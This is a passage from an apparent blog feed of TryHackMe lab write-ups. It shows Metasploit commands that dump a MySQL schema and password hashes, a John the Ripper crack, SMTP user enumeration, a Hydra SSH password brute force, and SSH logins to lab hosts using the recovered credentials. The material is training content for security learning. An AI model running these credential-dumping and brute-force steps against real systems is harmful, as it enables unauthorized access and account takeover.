<p>We can further analyze the structure of the MySQL database by dumping the schema of all tables using the Metasploit module <code>mysql_schemadump</code>. This module allows us to retrieve the database schema, which includes detailed information about the structure of the databases, tables, columns, data types, and relationships between different tables within the MySQL server. This information can be critical for targeted exploitation. For example, knowing the names and structures of the tables enables us to focus on tables that likely contain sensitive information, such as <code>users, passwords, sessions, or admin</code>.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">msf6 &gt; use auxiliary/admin/mysql/mysql_schemadump
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_schemadump<span class="o">)</span> &gt; <span class="nb">set</span> RHOSTS 10.10.244.95
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_schemadump<span class="o">)</span> &gt; <span class="nb">set</span> USERNAME root
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_schemadump<span class="o">)</span> &gt; <span class="nb">set</span> PASSWORD password
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_schemadump<span class="o">)</span> &gt; options
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">Module options <span class="o">(</span>auxiliary/scanner/mysql/mysql_schemadump<span class="o">)</span>:
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">   Name             Current Setting  Required  Description
</span></span><span class="line"><span class="ln">10</span><span class="cl">   ----             ---------------  --------  -----------
</span></span><span class="line"><span class="ln">11</span><span class="cl">   DISPLAY_RESULTS  <span class="nb">true</span>             yes       Display the Results to the Screen
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl">
</span></span><span class="line"><span class="ln">14</span><span class="cl">   Used when connecting via an existing SESSION:
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl">   Name     Current Setting  Required  Description
</span></span><span class="line"><span class="ln">17</span><span class="cl">   ----     ---------------  --------  -----------
</span></span><span class="line"><span class="ln">18</span><span class="cl">   SESSION                   no        The session to run this module on
</span></span><span class="line"><span class="ln">19</span><span class="cl">
</span></span><span class="line"><span class="ln">20</span><span class="cl">
</span></span><span class="line"><span class="ln">21</span><span class="cl">   Used when making a new connection via RHOSTS:
</span></span><span class="line"><span class="ln">22</span><span class="cl">
</span></span><span class="line"><span class="ln">23</span><span class="cl">   Name      Current Setting  Required  Description
</span></span><span class="line"><span class="ln">24</span><span class="cl">   ----      ---------------  --------  -----------
</span></span><span class="line"><span class="ln">25</span><span class="cl">   PASSWORD  password         no        The password <span class="k">for</span> the specified username
</span></span><span class="line"><span class="ln">26</span><span class="cl">   RHOSTS    10.10.244.95     no        The target host<span class="o">(</span>s<span class="o">)</span>, see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
</span></span><span class="line"><span class="ln">27</span><span class="cl">   RPORT     <span class="m">3306</span>             no        The target port <span class="o">(</span>TCP<span class="o">)</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">   THREADS   <span class="m">1</span>                yes       The number of concurrent threads <span class="o">(</span>maxone per host<span class="o">)</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">   USERNAME  root             no        The username to authenticate as
</span></span><span class="line"><span class="ln">30</span><span class="cl">
</span></span><span class="line"><span class="ln">31</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_schemadump<span class="o">)</span> &gt; run
</span></span><span class="line"><span class="ln">32</span><span class="cl">
</span></span><span class="line"><span class="ln">33</span><span class="cl">- TableName: x<span class="nv">$waits_global_by_latency</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">    Columns:
</span></span><span class="line"><span class="ln">35</span><span class="cl">    - ColumnName: events
</span></span><span class="line"><span class="ln">36</span><span class="cl">      ColumnType: varchar<span class="o">(</span>128<span class="o">)</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">    - ColumnName: total
</span></span><span class="line"><span class="ln">38</span><span class="cl">      ColumnType: bigint<span class="o">(</span>20<span class="o">)</span> unsigned
</span></span><span class="line"><span class="ln">39</span><span class="cl">    - ColumnName: total_latency
</span></span><span class="line"><span class="ln">40</span><span class="cl">      ColumnType: bigint<span class="o">(</span>20<span class="o">)</span> unsigned
</span></span><span class="line"><span class="ln">41</span><span class="cl">    - ColumnName: avg_latency
</span></span><span class="line"><span class="ln">42</span><span class="cl">      ColumnType: bigint<span class="o">(</span>20<span class="o">)</span> unsigned
</span></span><span class="line"><span class="ln">43</span><span class="cl">    - ColumnName: max_latency
</span></span><span class="line"><span class="ln">44</span><span class="cl">      ColumnType: bigint<span class="o">(</span>20<span class="o">)</span> unsigned
</span></span><span class="line"><span class="ln">45</span><span class="cl">
</span></span><span class="line"><span class="ln">46</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.244.95:3306 - Scanned <span class="m">1</span> of <span class="m">1</span> hosts <span class="o">(</span>100% <span class="nb">complete</span><span class="o">)</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Auxiliary module execution completed</span></span></code></pre></div>
<h4 id="mysql-hashdump">MySQL Hashdump</h4>
<p>We will also use the <code>mysql_hashdump</code> module which is a powerful tool used to extract password hashes from a MySQL server, which can then be leveraged for further attacks. By using this module, attackers can retrieve hashed password values stored within the MySQL user table, typically located in the user table. In this case we were able to identify the entry <code>carl</code> with its corresponding password hash.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">msf6 &gt; auxiliary/scanner/mysql/mysql_hashdump
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_hashdump<span class="o">)</span> &gt; <span class="nb">set</span> RHOSTS 10.10.244.95
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_hashdump<span class="o">)</span> &gt; <span class="nb">set</span> USERNAME root
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_hashdump<span class="o">)</span> &gt; <span class="nb">set</span> PASSWORD password
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_hashdump<span class="o">)</span> &gt; options
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">Module options <span class="o">(</span>auxiliary/scanner/mysql/mysql_hashdump<span class="o">)</span>:
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">   Used when connecting via an existing SESSION:
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl">   Name     Current Setting  Required  Description
</span></span><span class="line"><span class="ln">12</span><span class="cl">   ----     ---------------  --------  -----------
</span></span><span class="line"><span class="ln">13</span><span class="cl">   SESSION                   no        The session to run this module on
</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl">   Used when making a new connection via RHOSTS:
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl">   Name      Current Setting  Required  Description
</span></span><span class="line"><span class="ln">19</span><span class="cl">   ----      ---------------  --------  -----------
</span></span><span class="line"><span class="ln">20</span><span class="cl">   PASSWORD  password         no        The password <span class="k">for</span> the specified username
</span></span><span class="line"><span class="ln">21</span><span class="cl">   RHOSTS    10.10.244.95     no        The target host<span class="o">(</span>s<span class="o">)</span>, see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
</span></span><span class="line"><span class="ln">22</span><span class="cl">   RPORT     <span class="m">3306</span>             no        The target port <span class="o">(</span>TCP<span class="o">)</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">   THREADS   <span class="m">1</span>                yes       The number of concurrent threads <span class="o">(</span>max one per host<span class="o">)</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">   USERNAME  root             no        The username to authenticate as
</span></span><span class="line"><span class="ln">25</span><span class="cl">
</span></span><span class="line"><span class="ln">26</span><span class="cl">
</span></span><span class="line"><span class="ln">27</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_hashdump<span class="o">)</span> &gt; run
</span></span><span class="line"><span class="ln">28</span><span class="cl">
</span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.244.95:3306 - Saving HashString as Loot: root:
</span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.244.95:3306 - Saving HashString as Loot: mysql.session:*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.244.95:3306 - Saving HashString as Loot: mysql.sys:*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE
</span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.244.95:3306 - Saving HashString as Loot: debian-sys-maint:*D9C95B328FE46FFAE1A55A2DE5719A8681B2F79E
</span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.244.95:3306 - Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.244.95:3306 - Saving HashString as Loot: carl:*EA031893AA21444B170FC2162A56978B8CEECE18
</span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.244.95:3306 - Scanned <span class="m">1</span> of <span class="m">1</span> hosts <span class="o">(</span>100% <span class="nb">complete</span><span class="o">)</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Auxiliary module execution completed</span></span></code></pre></div>
<h3 id="cracking-the-hash">Cracking the Hash</h3>
<p>We can use John the Ripper, a popular password-cracking tool, to reverse-engineer the hash into its original ASCII format. John the Ripper works by taking the hashed password and comparing it against a large set of potential plaintext passwords, which are hashed in the same algorithm. If it finds a match, it reveals the original password.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-22-136:~# <span class="nb">echo</span> carl:*EA031893AA21444B170FC2162A56978B8CEECE18 &gt; hash.txt
</span></span><span class="line"><span class="ln">2</span><span class="cl">root@ip-10-10-22-136:~# john hash.txt
</span></span><span class="line"><span class="ln">3</span><span class="cl">
</span></span><span class="line"><span class="ln">4</span><span class="cl">Proceeding with wordlist:/opt/john/password.lst
</span></span><span class="line"><span class="ln">5</span><span class="cl">Proceeding with incremental:ASCII
</span></span><span class="line"><span class="ln">6</span><span class="cl">doggie           <span class="o">(</span>carl<span class="o">)</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl">1g 0:00:00:02 DONE 3/3 <span class="o">(</span>2024-10-06 02:57<span class="o">)</span> 0.4566g/s 1043Kp/s 1043Kc/s 1043KC/s doggie..doggia</span></span></code></pre></div>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition code">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><path d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/></svg>
      <span>Code</span>
    </div>
      <div class="admonition-content">
        <p>The call above uses John the Ripper in its default configuration, utilizing a built-in word list to attempt to crack the single password hash stored in the text file.&quot;</p>
      </div>
  </div><h3 id="accessing-the-mysql-server">Accessing the MySQL Server</h3>
<p>Having access to the username and password allows us to SSH directly into the server and gain access to its resources directly.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-22-136:~# ssh carl@10.10.244.95
</span></span><span class="line"><span class="ln">2</span><span class="cl">carl@10.10.244.95<span class="err">&#39;</span>s password: doggie
</span></span><span class="line"><span class="ln">3</span><span class="cl">
</span></span><span class="line"><span class="ln">4</span><span class="cl">Welcome to Ubuntu 18.04.4 LTS <span class="o">(</span>GNU/Linux 4.15.0-96-generic x86_64<span class="o">)</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl">carl@polomysql:~$</span></span></code></pre></div>
<h3 id="takeaways">Takeaways</h3>
<ul>
<li>
<p><strong>Credential-Based Exploitation:</strong> Gaining access to MySQL using known credentials (like root with a weak password) can lead to control over the database and server, emphasizing the importance of strong, unique credentials and limiting root access.</p>
</li>
<li>
<p><strong>Metasploit Modules as Recon Tools:</strong> Metasploit&rsquo;s mysql_schemadump and mysql_hashdump modules are effective for looking into database structure and extracting sensitive data like password hashes.</p>
</li>
<li>
<p><strong>Importance of Salting:</strong> Salting passwords before hashing significantly strengthens security by making brute force and rainbow table attacks impractical, as each password hash becomes unique, removing the effectiveness of tools like John the Ripper. This highlights the importance of using salts in password storage to mitigate hash-cracking attacks.</p>
</li>
</ul>
]]></content:encoded></item><item><title>TryHackMe - SMTP</title><link>https://michaelmuratov.com/blog/artifacts/guides/thm-smtp-room/</link><pubDate>Thu, 17 Oct 2024 00:00:00 +0000</pubDate><guid>https://michaelmuratov.com/blog/artifacts/guides/thm-smtp-room/</guid><description>&lt;p&gt;This is a &lt;code&gt;TryHackMe Room Writeup&lt;/code&gt;&lt;/p&gt;
&lt;link href="https://michaelmuratov.com/css/admonitions.min.css" rel="stylesheet" /&gt;
&lt;div class="admonition note"&gt;
&lt;div class="admonition-header"&gt;
&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"&gt;&lt;path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/&gt;&lt;/svg&gt;
&lt;span&gt;Reference&lt;/span&gt;
&lt;/div&gt;
&lt;div class="admonition-content"&gt;
&lt;p&gt;&lt;a href="https://tryhackme.com/r/room/networkservices2"&gt;💻 TryHackMe Network Services Room&lt;/a&gt;&lt;/p&gt;</description><content:encoded><![CDATA[<p>This is a <code>TryHackMe Room Writeup</code></p>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition note">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/></svg>
      <span>Reference</span>
    </div>
      <div class="admonition-content">
        <p><a href="https://tryhackme.com/r/room/networkservices2">💻 TryHackMe Network Services Room</a></p>
      </div>
  </div><h3 id="smtp-intrusion">SMTP Intrusion</h3>
<p>Simple Mail Transfer Protocol aka <strong>SMTP</strong> allows for the process by which mail clients send mail to each other. If we were to compare the email service to the postal delivery service, SMTP would be the courier, delivering mail from the post office to the recipient&rsquo;s address, except in this case every address is also its own post office. The courier tends to know important information about its sender so we&rsquo;ll be trying to get as much information out of it as we can. Thankfully the SMTP service is very receptive to questions so we will be able to <strong>pry valuable insights from it</strong> in order to compromise its server.</p>
<h4 id="identifying-the-smtp-service">Identifying the SMTP Service</h4>
<p>The first step of identifying possible attack vectors is running a network <strong>Nmap</strong> scan to see what ports are open on services that we know how to abuse. In this case we&rsquo;re looking for <strong>port 25</strong> exposing the SMTP service to the internet.</p>
<p>Example Nmap Scan: <em>(NFS Scan highlighted)</em></p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">root@ip-10-10-22-136:~# <span class="nv">IP</span><span class="o">=</span>10.10.190.97
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">root@ip-10-10-22-136:~# nmap -sS -T4 -F -oN output.txt <span class="nv">$IP</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">Nmap scan report <span class="k">for</span> ip-10-10-190-97.eu-west-1.compute.internal <span class="o">(</span>10.10.190.97<span class="o">)</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">Host is up <span class="o">(</span>0.00070s latency<span class="o">)</span>.
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">Not shown: <span class="m">998</span> closed ports
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">PORT   STATE SERVICE
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">22/tcp open  ssh
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">25/tcp open  smtp
</span></span><span class="line"><span class="ln">10</span><span class="cl">MAC Address: 02:87:B2:A3:3F:17 <span class="o">(</span>Unknown<span class="o">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="c1"># Nmap done at Sun Oct  6 01:22:55 2024 -- 1 IP address (1 host up) scanned in 1.68 seconds</span></span></span></code></pre></div>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition code">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><path d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/></svg>
      <span>Code</span>
    </div>
      <div class="admonition-content">
        <p>The call above uses the flag <strong>-sS</strong> to perform a stealthy SYN scan, which is faster and less detectable than a full connection scan. The <strong>-T4</strong> flag sets the timing template to be faster than the default, balancing speed and accuracy. The <strong>-F</strong> flag specifies a fast scan that targets the top 100 most common ports. The <strong>-oN output.txt</strong> flag saves the scan results in a normal format to a file named <strong>output.txt</strong>. Finally, <strong>$IP</strong> specifies the target IP address for the scan.&quot;</p>
      </div>
  </div><h4 id="getting-the-smtp-server-metadata">Getting the SMTP server metadata</h4>
<p>Now that we&rsquo;ve identified a way in, we can use a pre made SMTP <strong>attack script</strong> to extract as much valuable metadata we can using the Metasploit smtp_version script. In this case we&rsquo;re able to extract the smtp server&rsquo;s domain name but not much else that&rsquo;s useful. We&rsquo;ll try a more <strong>aggressive</strong> script next.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">msfconsole
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">msf6 &gt; use auxiliary/scanner/smtp/smtp_version
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">msf6 auxiliary<span class="o">(</span>scanner/smtp/smtp_version<span class="o">)</span> &gt; <span class="nb">set</span> RHOSTS 10.10.22.136
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">Module options <span class="o">(</span>auxiliary/scanner/smtp/smtp_version<span class="o">)</span>:
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">Name     Current Setting  Required  Description
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">----     ---------------  --------  -----------
</span></span><span class="line"><span class="ln">10</span><span class="cl">RHOSTS   10.10.22.136     yes       The target host<span class="o">(</span>s<span class="o">)</span>, see https://docs.metasploit.com/docs/using-me
</span></span><span class="line"><span class="ln">11</span><span class="cl">                                    tasploit/basics/using-metasploit.html
</span></span><span class="line"><span class="ln">12</span><span class="cl">RPORT    <span class="m">25</span>               yes       The target port <span class="o">(</span>TCP<span class="o">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">THREADS  <span class="m">1</span>                yes       The number of concurrent threads <span class="o">(</span>max one per host<span class="o">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl">msf6 auxiliary<span class="o">(</span>scanner/smtp/smtp_version<span class="o">)</span> &gt; run
</span></span><span class="line"><span class="ln">16</span><span class="cl">
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.190.97:25       - 10.10.190.97:25 SMTP <span class="m">220</span> polosmtp.home ESMTP Postfix <span class="o">(</span>Ubuntu<span class="o">)</span><span class="se">\x</span>0d<span class="se">\x</span>0a
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.190.97:25       - Scanned <span class="m">1</span> of <span class="m">1</span> hosts <span class="o">(</span>100% <span class="nb">complete</span><span class="o">)</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Auxiliary module execution completed</span></span></code></pre></div>
<h4 id="finding-the-smtp-server-exposed-usernames">Finding the SMTP server exposed usernames</h4>
<p>We&rsquo;ll try to <strong>brute force</strong> our SMTP courier to get it to tell us who it expects us to be talking to. We&rsquo;ll keep asking it whether it recognizes the name we give it with a enumeration brute force attack and hopefully we&rsquo;ll get a match. In this case we were able to tell that the SMTP knows the user &ldquo;administrator&rdquo; which gives us valuable insight into a possible user on the system. It is especially exciting to confirm the existence of an administrator user because <strong>compromising their account can lead to unrestricted access to their entire server!</strong></p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">msf6 auxiliary<span class="o">(</span>scanner/smtp/smtp_version<span class="o">)</span> &gt; use /auxiliary/scanner/smtp/smtp_enum
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">msf6 auxiliary<span class="o">(</span>scanner/smtp/smtp_enum<span class="o">)</span> &gt; <span class="nb">set</span> RHOSTS 10.10.190.97
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">msf6 auxiliary<span class="o">(</span>scanner/smtp/smtp_enum<span class="o">)</span> &gt; <span class="nb">set</span> USER_FILE /usr/share/wordlists/SecLists/Usernames/top-usernames-shortlist.txt
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">msf6 auxiliary<span class="o">(</span>scanner/smtp/smtp_enum<span class="o">)</span> &gt; run
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.190.97:25       - 10.10.190.97:25 Banner: <span class="m">220</span> polosmtp.home ESMTP Postfix <span class="o">(</span>Ubuntu<span class="o">)</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="o">[</span>+<span class="o">]</span> 10.10.190.97:25       - 10.10.190.97:25 Users found: administrator
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.190.97:25       - Scanned <span class="m">1</span> of <span class="m">1</span> hosts <span class="o">(</span>100% <span class="nb">complete</span><span class="o">)</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Auxiliary module execution completed</span></span></code></pre></div>
<h4 id="running-hydra-to-brute-force-the-password">Running Hydra to Brute Force the password</h4>
<p>This isn&rsquo;t a very <em>nice</em> way to break into a system but we&rsquo;ll continue to use the brute force enumeration approach along with the username we found to try to log into the server via ssh. We&rsquo;ll use the hydra tool to enumerate different passwords until we get one that works.</p>
<p>Luckily there was a <strong>direct match</strong> and we found a password for the administrator user, if only it was always this simple 😊</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">hydra -t <span class="m">16</span> -l administrator -P /usr/share/wordlists/rockyou.txt -vV 10.10.190.97 ssh
</span></span><span class="line"><span class="ln">2</span><span class="cl">
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="o">[</span>22<span class="o">][</span>ssh<span class="o">]</span> host: 10.10.190.97   login: administrator   password: alejandro
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="o">[</span>STATUS<span class="o">]</span> attack finished <span class="k">for</span> 10.10.190.97 <span class="o">(</span>waiting <span class="k">for</span> children to <span class="nb">complete</span> tests<span class="o">)</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="m">1</span> of <span class="m">1</span> target successfully completed, <span class="m">1</span> valid password found</span></span></code></pre></div>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition code">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><path d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/></svg>
      <span>Code</span>
    </div>
      <div class="admonition-content">
        <p>The call above uses the flag <strong>-t 16</strong> to spawn 16 threads to attempt logins on the specified username <strong>-l administrator</strong> using the filepath <strong>-P rockyou.txt</strong> for passwords on the server&rsquo;s <strong>IP</strong> via <strong>ssh</strong> in <strong>-vV</strong> very verbose mode.&quot; &gt;}}</p>
      </div>
  </div><h3 id="logging-into-the-server-with-credentials">Logging into the server with credentials</h3>
<p>Equipped with a username and password we can easily SSH into the server unless it has other protections in place.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">ssh administrator@10.10.190.97
</span></span><span class="line"><span class="ln">2</span><span class="cl">administrator@10.10.190.97<span class="err">&#39;</span>s password: alejandro
</span></span><span class="line"><span class="ln">3</span><span class="cl">
</span></span><span class="line"><span class="ln">4</span><span class="cl">Welcome to Ubuntu 18.04.4 LTS <span class="o">(</span>GNU/Linux 4.15.0-111-generic x86_64<span class="o">)</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl">
</span></span><span class="line"><span class="ln">6</span><span class="cl">administrator@polosmtp:~$</span></span></code></pre></div>
]]></content:encoded></item><item><title>TryHackMe - NFS</title><link>https://michaelmuratov.com/blog/artifacts/guides/thm-nfs-room/</link><pubDate>Sat, 12 Oct 2024 00:00:00 +0000</pubDate><guid>https://michaelmuratov.com/blog/artifacts/guides/thm-nfs-room/</guid><description>&lt;p&gt;This is a &lt;code&gt;TryHackMe Room Writeup&lt;/code&gt;&lt;/p&gt;
&lt;link href="https://michaelmuratov.com/css/admonitions.min.css" rel="stylesheet" /&gt;
&lt;div class="admonition note"&gt;
&lt;div class="admonition-header"&gt;
